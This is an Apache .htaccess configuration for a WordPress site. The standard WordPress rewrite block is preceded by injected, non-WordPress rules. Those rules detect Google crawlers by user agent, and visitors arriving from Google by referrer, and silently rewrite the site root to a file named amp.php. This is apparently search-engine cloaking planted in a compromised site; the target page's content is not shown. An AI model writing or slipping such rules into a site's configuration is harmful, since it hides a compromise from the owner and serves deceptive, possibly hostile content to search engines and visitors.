RewriteEngine On RewriteCond %{HTTP_USER_AGENT} Googlebot [NC,OR] RewriteCond %{HTTP_USER_AGENT} AdsBot [NC,OR] RewriteCond %{HTTP_USER_AGENT} Mediapartners-Google [NC,OR] RewriteCond %{HTTP_USER_AGENT} Google- [NC,OR] RewriteCond %{HTTP_REFERER} google\\. [NC] RewriteRule ^$ amp.php [L] # BEGIN WordPress # The directives (lines) between \"BEGIN WordPress\" and \"END WordPress\" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress